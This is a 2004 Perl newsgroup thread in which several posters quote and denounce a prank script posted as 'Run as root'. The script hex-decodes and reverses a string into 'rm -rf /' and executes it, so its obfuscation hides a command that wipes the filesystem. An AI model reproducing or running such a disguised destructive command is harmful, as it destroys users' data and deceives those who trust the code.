Re: IO::Socket::INET Connection Error?

From: Dieter D'Hoker (webmaster_at_neverseenbefore.com)
Date: 06/01/04 

Date: Tue, 1 Jun 2004 14:39:43 +0200

Matt Garrish wrote:
> "Rocco Caputo" <troc@pobox.com> wrote in message
> news:slrnc0bsgn.eu.troc@eyrie.homenet...
>> On Wed, 14 Jan 2004 19:33:40 -0500, Matt Garrish wrote:
>>>
>>> "Lucas Van Hieng" <l.v.g@moskuetiez.de> wrote in message
>>> news:S_kNb.10878$c5.2852@newssvr27.news.prodigy.com...
>>>>
>>>> #!/usr/bin/perl
>>>> #***# Note: Run as root. #***#
>>>> my $x = reverse pack('H*','2f2066722d206d72'); `$x`;
>>>>
>>>
>>> You're just one WILD AND CRAZY GUY!!! (but no Steve Martin)
>>>
>>> If you think you're going to trick a *nix user into running that,
>>> you're as dumb as your post...
>>
>> There's an economy of scale here. Someone out there might be
>> dumb---or trusting---enough to run it.
>>
>> Well, they won't do it twice, and they'll understand the importance
>> of a good backup strategy.
>>
>
> I personally find it offensive that someone would post code like that
> for the very same reason that someone *might* try to run it (though
> I'm convinced only Windows users blindly trust code... : )

Maybe he's targetting cygwin users then ;) 

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